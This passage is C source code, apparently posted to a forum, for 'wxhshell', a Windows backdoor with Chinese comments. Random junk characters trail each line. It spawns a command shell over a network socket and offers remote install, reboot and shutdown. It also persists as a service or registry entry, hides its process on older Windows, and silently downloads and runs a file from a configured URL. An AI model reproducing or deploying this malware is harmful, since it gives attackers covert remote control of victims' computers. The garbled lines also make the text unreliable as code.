  else kK6t|Yn&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 [bQ'Ir^8  
  } <b~~X`Z  
  else { KKk<wya&O  
KY2z)#/  
    switch(cmd[0]) { = <A0;  
  PQi(Oc  
  // 帮助 vx$DKQK@l\  
  case '?': { Jl\U~i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NHU5JSlB  
    break; -m ,Y6  
  } [fwk[qFa  
  // 安装 guCCu2OTA%  
  case 'i': { sOz {spA  
    if(Install()) "KCG']DF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y x66Xy  
    else t\:=|t,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wk?i\vm  
    break; WOgkv(5KN  
    } c=-qbG0`  
  // 卸载 {Gh9(0,B?  
  case 'r': { 6%9 kc+ 9  
    if(Uninstall()) oG hMO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Qc4v@~)  
    else hBz>E 4mEv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^!O!HMX0  
    break; 5ld?N2<8/  
    } h0x'QiCc  
  // 显示 wxhshell 所在路径 UZ-pN_!Z:  
  case 'p': { x!7!)]h  
    char svExeFile[MAX_PATH]; %"#ydOy  
    strcpy(svExeFile,"\n\r"); ]:n9MFv  
      strcat(svExeFile,ExeFile); .f[z_% ar  
        send(wsh,svExeFile,strlen(svExeFile),0); >,Zn~8&Z  
    break; 9 %Vy,  
    } )2^r 0(x  
  // 重启 EpT^r8I  
  case 'b': { vwAhNw2-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b'4}=Xpn  
    if(Boot(REBOOT)) Y~r)WV!G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7uu\R=$  
    else { ))X"bFP!3  
    closesocket(wsh); M`9|8f,!a  
    ExitThread(0); B<.ZW}#v  
    } H4wDF:n0H  
    break; 0a!|*Z  
    } <jaQ 0S{|  
  // 关机 Gy6x.GX  
  case 'd': { |~v2~   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2J)  
    if(Boot(SHUTDOWN)) 4kK_S.&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C0^r]^$Z  
    else { J{5p4bkb  
    closesocket(wsh); " w /Odd  
    ExitThread(0); s gZlk9x!Q  
    } =<TJ[,h et  
    break; (BK_A {5  
    } M`* BS  
  // 获取shell |v#rSVx  
  case 's': { n0V^/j}  
    CmdShell(wsh); u{sb^cmy  
    closesocket(wsh); _Db&f}.`  
    ExitThread(0); B <G,{k  
    break; va"bw!zXo*  
  } 3".#nN  
  // 退出 S`TQWWQo;  
  case 'x': { vr6YE;Rs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G2sj<F=AV  
    CloseIt(wsh); n7/&NiHxv/  
    break; ?O]RQXsZ2  
    } M[u6+`  
  // 离开 N>)Db  
  case 'q': { [e{W:7uFV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,.|/B^jV  
    closesocket(wsh); {#pw rWG  
    WSACleanup(); .F$cR^i5u  
    exit(1); H%}/O;C  
    break; PY+4OZ$  
        } vbG&F.P  
  } z"Cyjmg"  
  } EiZa,}A  
a#9pN?~  
  // 提示信息 uZI7,t-7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U: )Gc  
} NnU`u.$D  
  } zW)Wt.svP  
Ua=r24fy  
  return; mwI7[I2q  
} jmP;(j.|  
dB:c2  
// shell模块句柄 G68@(<<Z  
int CmdShell(SOCKET sock) UG}2q:ST  
{ }-u%6KZ   
STARTUPINFO si; &H+n0v  
ZeroMemory(&si,sizeof(si)); _8\B~;0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nI1(2a1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K5jeazasp  
PROCESS_INFORMATION ProcessInfo; 64>CfU(  
char cmdline[]="cmd"; 6}|h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cRWB`&  
  return 0; _c5*9')-)  
} p(Osz7K  
sNP ;  
// 自身启动模式 g=,}j]tl  
int StartFromService(void) ~03MH'  
{ aeAx0yE[p  
typedef struct o/n4M]G  
{ Ki&a"Fu3  
  DWORD ExitStatus; :fq4oHA#  
  DWORD PebBaseAddress; GS}JyU  
  DWORD AffinityMask; 1-&L-c.  
  DWORD BasePriority; XP?)x Dr8  
  ULONG UniqueProcessId; #VVfHCy  
  ULONG InheritedFromUniqueProcessId; x($Djx  
}   PROCESS_BASIC_INFORMATION; Xkg  
Fmz+ Xb  
PROCNTQSIP NtQueryInformationProcess; ~-B+7  
>mG64N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U=U5EdN;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5O Y5b8  
49c-`[d L  
  HANDLE             hProcess; 2% OAQ(  
  PROCESS_BASIC_INFORMATION pbi; 4"\cA:9a  
\j3dB tc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kpa$1x  
  if(NULL == hInst ) return 0; .`V$j.a  
JY^i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m]vV.pwv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P8ZmrtQm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H\\FAOj  
g|7o1{   
  if (!NtQueryInformationProcess) return 0; Jmi,;Af'/  
{<Gp5j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kxJ[Bi#  
  if(!hProcess) return 0; g.vE%zKL  
FF! PmfF'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,]W|"NUI  
0\X<vrW  
  CloseHandle(hProcess); 6)P.wW  
/F(n%8)Yq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H:~u(N  
if(hProcess==NULL) return 0; ( N};.DB1Y  
Y0A(- "  
HMODULE hMod; zB~ <@  
char procName[255]; N'R^gL  
unsigned long cbNeeded; |5O>7~Tp  
pt,L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2A[hMbL  
"QiR  
  CloseHandle(hProcess); p'1/J:EnV  
%A=/(%T>  
if(strstr(procName,"services")) return 1; // 以服务启动 l &'q+F  
6w, "i#E!  
  return 0; // 注册表启动 t"q'"FX  
} ,m5i(WL  
wlaPE8Gc  
// 主模块 j-W$)c3X  
int StartWxhshell(LPSTR lpCmdLine) ^jwzCo-  
{ Br 7q.  
  SOCKET wsl; }&e HU  
BOOL val=TRUE; :T G;W,`.V  
  int port=0; zIjfx K  
  struct sockaddr_in door; H>+])~#  
Kw" y#Ys]  
  if(wscfg.ws_autoins) Install(); Ohp@ZJ!a?  
6&ut r!\7  
port=atoi(lpCmdLine); $5)#L$!,]  
['.])  
if(port<=0) port=wscfg.ws_port; o /[7Vo  
@:GqOTN  
  WSADATA data; R^o535pozc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rxu_Ssd@"  
d$3md<lIB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e8^/S^ =&d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tJrGRlB>  
  door.sin_family = AF_INET; 8T T#b?d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O8A1200  
  door.sin_port = htons(port); aH'fAX0bF  
<KU 0K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L,y q=%h|  
closesocket(wsl); * $fM}6}  
return 1; M?" 4 {  
} w a(Y[]V  
KYm8|]'g  
  if(listen(wsl,2) == INVALID_SOCKET) { M=pQx$%a  
closesocket(wsl); )- &@ 8`  
return 1; 9d#?,:JG  
} |kPgXq6  
  Wxhshell(wsl); Q!@M/@-Ky  
  WSACleanup(); 92<+ug=  
Za|iU`e\  
return 0; <1*.:CL"s  
mB_?N $K  
} xB Wl|j  
cLf90|YFp  
// 以NT服务方式启动 s_NY#MPz[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8fP2qj0  
{ yC\UT ~j/  
DWORD   status = 0; PljPhAce  
  DWORD   specificError = 0xfffffff; pJ/]\>#5  
?;~E*kzO&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K-TsSW$}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >=;-:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JHa1lj  
  serviceStatus.dwWin32ExitCode     = 0; ]j>xQm\  
  serviceStatus.dwServiceSpecificExitCode = 0; gPk,nB  
  serviceStatus.dwCheckPoint       = 0; k37?NoT  
  serviceStatus.dwWaitHint       = 0; ;O`f+rG~  
#U`AK9rP_g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u.X]K:Yow  
  if (hServiceStatusHandle==0) return; LP#wE~K"b  
\[3~*eX6  
status = GetLastError(); gdf0  
  if (status!=NO_ERROR) Lf5zHUH  
{ QNx]8r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lg-_[!4Z  
    serviceStatus.dwCheckPoint       = 0; Y bJg{Sb  
    serviceStatus.dwWaitHint       = 0; >JE+j=  
    serviceStatus.dwWin32ExitCode     = status; 5HOl~E  
    serviceStatus.dwServiceSpecificExitCode = specificError; p"%D/-%Gu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68u?}8}  
    return; rt*x[5<  
  } HfSx*@\s  
#b[bgxm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bfz7t!A)A  
  serviceStatus.dwCheckPoint       = 0; d|RUxNjM-J  
  serviceStatus.dwWaitHint       = 0; 6o#/[Tz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3XQa%|N(  
} o @L0ET  
#b;?:.m\=  
// 处理NT服务事件,比如:启动、停止 o:QL%J{[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T)I)r239h  
{ -yqgs>R(d  
switch(fdwControl) D{B?2}X  
{ _|M8xI  
case SERVICE_CONTROL_STOP: 7!AyLw  
  serviceStatus.dwWin32ExitCode = 0; 9k;,WU(K<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jd7chIK  
  serviceStatus.dwCheckPoint   = 0; _:9}RT?  
  serviceStatus.dwWaitHint     = 0; N0S^{j,i  
  { _" 9 q(1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l0,VN,$Yl  
  } Kc\8GkdB  
  return; _\\Al v.  
case SERVICE_CONTROL_PAUSE: Nt $4;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p48enH8CO  
  break; q3#[6!  
case SERVICE_CONTROL_CONTINUE: nvndgeSy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %mmV#vwp  
  break; .hx(9  
case SERVICE_CONTROL_INTERROGATE: E \/[hT  
  break; #[jS&rr(  
}; Kb+SssF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5{b;wLi$X2  
} iKo2bC:.&  
cS%dTrfo  
// 标准应用程序主函数 Qq:}Z7 H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5.VPK 338A  
{ qj _0 td$  
H14Q-2U1xa  
// 获取操作系统版本 $3"hOEN@5`  
OsIsNt=GetOsVer(); o_Zs0/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vU%K%-yXG7  
 E& cC2(w  
  // 从命令行安装 #@DJf  
  if(strpbrk(lpCmdLine,"iI")) Install(); TQck$&  
!nl-}P,  
  // 下载执行文件 9 3)fC  
if(wscfg.ws_downexe) { Dc0=gq0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) crv#IC2  
  WinExec(wscfg.ws_filenam,SW_HIDE); TXi|  
} 7<WUj K|  
Ee}|!n>  
if(!OsIsNt) { H Y5R  
// 如果时win9x,隐藏进程并且设置为注册表启动 "mBM<rEn*  
HideProc(); eQuw uT  
StartWxhshell(lpCmdLine); q<3La(^/  
} sPQj B[  
else zlEI_th:~  
  if(StartFromService()) w =F9>  
  // 以服务方式启动 Ph P)|P  
  StartServiceCtrlDispatcher(DispatchTable); GY?u+|Q  
else 4eB'mPor  
  // 普通方式启动 `WH$rx!  
  StartWxhshell(lpCmdLine); 82,^Pu  
a k5D  
return 0; 'sZGLgT;m  
}
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只看该作者 1 发表于: 2006-10-10
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